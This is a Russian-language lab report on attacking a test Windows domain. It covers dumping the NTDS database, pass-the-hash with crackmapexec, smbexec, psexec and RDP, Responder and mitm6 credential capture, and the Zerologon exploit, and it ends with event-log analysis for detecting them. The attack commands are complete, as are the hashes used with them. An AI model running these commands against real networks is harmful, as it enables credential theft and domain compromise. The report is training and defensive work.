###### tags: `Windows`
# Отчет по заданиям к практической работе №6. Базовые атаки и компрометация доменной Windows-инфраструктуры:
## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру.
### 1) Провести анализ базы NTDS.
| 1. Воспользуемся базовыми средствами `Windows` для работы с `NTDS`. Необходимо зайти в командную строку от имени администратора и ввести команды: |
| :----------------------------------------- |
|`ntdsutil`|
|`activate instance ntds`|
|`ifm`|
|`create full C:\temp`|
| Этот набор команд активирует процесс `Install From Media`, позволяющий сделать копию нашего `NTDS` с необходимыми ветками реестра.|
| |
|После этого в директории `C:\temp` мы увидим созданные файлы дампа.|
||
||
| 2. Воспользуемся базовыми средствами `Kali Linux`. С помощью `SMB` зайдём на `Windows Server` с `Kali`: |
| :----------------------------------------- |
|`smbclient '\\\\\\192.168.10.200\\C$' -U PT/Administrator`|
|`где 192.168.10.201 - ip адрес контроллера домена,`|
|`testdomain - имя домена,`|
|`Administrator - имя учетной записи с правами администратора.`|
||
| После чего скопируем файлы на `Kali`:|
| `recurse ON`|
| `prompt OFF`|
| `lcd /home/ptvadim`|
| `mget temp`|
| |
| 3. Для анализа дампа для начала нужно скачать `impacket`. Находясь в домашней директории пользователя, выполним набор команд: |
| :----------------------------------------- |
|`git clone https://github.com/SecureAuthCorp/impacket`|
||
|`apt install python3-pip`|
||
|`cd impacket`|
|`pip install .`|
||
| После установки нужно пройти из директории `impacket` в директорию `examples` и выполнить следующую команду:|
| `python3 secretsdump.py -ntds /home/ptvadim/temp/Active\ Directory/ntds.dit -system /home/ptvadim/temp/registry/SYSTEM LOCAL`|
| `где secretsdump.py - исполняемый скрипт,`|
| `ntds.dit - анализируемый инстанс базы данных NTDS,`|
| `- registry/SYSTEM - ветка реестра, с помощью которой мы можем прочитать NTDS,LOCAL - флаг для скрипта, который говорит, что мы анализируем NTDS локально.`|
| |
### 2) Выполнить атаку “Path-the-hash”.
| Для выполнения атаки вида `PtH` нам понадобится учетная запись и её `hash` пароля. С помощью такой атаки мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля. |
| :----------------------------------------- |
| 1.Просканируем сеть и обнаружим хостов, как либо взаимодействующих с протоколом smb: |
| :----------------------------------------- |
|`crackmapexec smb 192.168.10.0/24`|
||
|Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки:|
|`crackmapexec smb 192.168.10.200 -u AdmPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami`|
| |
| Можно посмотреть список сетевых папок, доступных конкретному пользователю:|
|`crackmapexec smb 192.168.10.200 -u AdmPetr -H 05df2fd1109e3d3b60f110965f6af128 --shares`|
|В impacket есть утилита `smbexec`, позволяющая запустить `cmd windows` для удаленной передачи команд, при этом практически не оставляя следов:|
|`python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:6fddd649e205bc98d5365752ff233f45`|
|`где testdomain - имя домена,`|
|`administrator - имя пользователя,`|
|`192.168.10.200 - адрес компьютера-жертвы`|
|`hashes - спец флаг для использования хэша`|
||
|Есть аналог - psexec|
|`python3 psexec.py domain/username:password@hostIP - если знаем пароль`|
|`python3 psexec.py pt.local/Administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:6fddd649e205bc98d5365752ff233f45 - если имеем LM и NTLM-хэши`|
||
| 2. С хешем можно зайти даже по `RDP`. Для этого используется следующая команда:|
| :----------------------------------------- |
|`xfreerdp /d:pt.local /u:Administrator /v:192.168.10.200 /pth:6fddd649e205bc98d5365752ff233f45`|
|Но для начала включим удалённый доступ по `RDP` на `DC1`, доступ дадим администраторам домена.|
||
|Пробуем зайти.|
||
|Действует политика `Restricted admin`. Изменим параметр реестра на `DC1` через скрипт в `Windows Shell`.|
|`New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force`|
||
| Успешный вход по RDP.|
||
### 3) Реализовать атаки на базовые протоколы Windows.
+ **NBT-NS & LLMNR & mDNS**
|1. Важной частью эксплуатации будет `WPAD` - специальный протокол для настройки проксирования в системе `Win`. Система всегда запрашивает файл с настройками `wpad.dat`, а злоумышленник может подсунуть свой файл, став прокси-сервером для `Win` и таким образом осуществив атаку `человек посередине`. Основная уязвимость в этих протоколах - отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам. |
| :----------------------------------------- |
|2.Запускаем анализ `Responder`.|
| :----------------------------------------- |
|`responder -I eth0 -A`|
||
|3. Эмулируем, что доменный ПК пытается обратиться к несуществующему сетевому ресурсу.|
| :----------------------------------------- |
||
|4. Анализатор видит `LLNMR, NBNS` запросы.|
| :----------------------------------------- |
||
|5. Проведем атаку.|
| :----------------------------------------- |
|`responder -I eth0 -wFv`|
|`где -I eth0 -- выбор интерфейса,`|
|`w -- отравление WPAD,`|
|`F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно,`|
|`v -- вывод подробной информации (в т.ч. перехваченного хэша).`|
|`Responder` запускается.|
||
|Пользователь снова проходит по несуществующему пути. `Responder` притворяется этим ресурсом, поэтому видим окно аутентификации.|
||
|`Responder` перехватывает аутентификационный токен.|
||
|Данный токен можно подвергнуть брутфорсу.|
+ **mitm6**
|1. Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети. |
| :----------------------------------------- |
|2.Cкачаем `mitm6`.|
| :----------------------------------------- |
|`git clone https://github.com/dirkjanm/mitm6`|
|`pip install mitm6`|
||
|3. Выполним атаку.|
| :----------------------------------------- |
|`python mitm6.py -d pt.local`|
||
|Настройки сетевого адаптера `PC1`. Было:|
||
|Настройки сетевого адаптера `PC1`. Cтало:|
||
|Также можем увидеть логи скрипта:|
||
|4. Пока что мы только подменили параметры у `Win10`, обеспечив `mitm`. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся `SMB`.|
| :----------------------------------------- |
|Не отключая mitm6, создадим SMB сервер:|
|`python3 smbserver.py -smb2support SMB /root/SMB`|
||
|А на `Win10` через проводник попробуем зайти на наш домен.|
||
|Увидим данные аутентификации в выводе программы.|
||
|Эти аутентификационные данные уже можно вскрывать с помощью `hashcat` или `John the ripper`. Это не чистый хэш пароля, а аутентификация по протоколу `NTLMv`.|
## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры.
### 1) Провести эксплуатацию уязвимостей контроллера домена.
|1. Для начала нужно активировать политику аудита машинных учетных записей и применить к контроллерам домена. |
| :----------------------------------------- |
||
||
|`Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant`|
|2.Проведем поиск по уязвимости `zerologon` и найдём множество репозиториев на `github`, в том числе и с эксплойтами.|
| :----------------------------------------- |
||
|Скачиваем один из них.|
|`git clone https://github.com/risksense/zerologon`|
||
|3. Прочитав мануал, используем команду для вызова эксплойта.|
| :----------------------------------------- |
|`python3 set_empty_pw.py DC1 192.168.10.200`|
||
|4. Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить `NTDS` с помощью `secretsdump`, скачанного ранее.|
| :----------------------------------------- |
|`python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'`|
||
|С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя.|
||
### 2) Найти следы эксплуатации уязвимостей.
|1. Проверим журнал `System`, увидим ошибку `Netlogon`. |
| :----------------------------------------- |
||
|2. Проверим `Security`, увидим событие `4742`.|
| :----------------------------------------- |
||
|3. Внимательно проанализируем событие.|
| :----------------------------------------- |
||
|`Во-первых, ANONYMOUS LOGON - уже довольно подозрительный факт.`|
|`Ещё в логе можно увидеть заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823`|
|4. Найдём событие `5823` в журнале `System` с помощью фильтра.|
| :----------------------------------------- |
||
|5. Событие есть, но оно произошло намного раньше.|
| :----------------------------------------- |
||
|`Если поискать события 4742 за день, когда произошло 5823, то мы их найдём. Это легитимные события, связанные с введением в домен DC2`|
|6. Если происходит дамп `NTDS`, то можно увидеть данные выгрузки в журнале `Direcrory Service`. |
||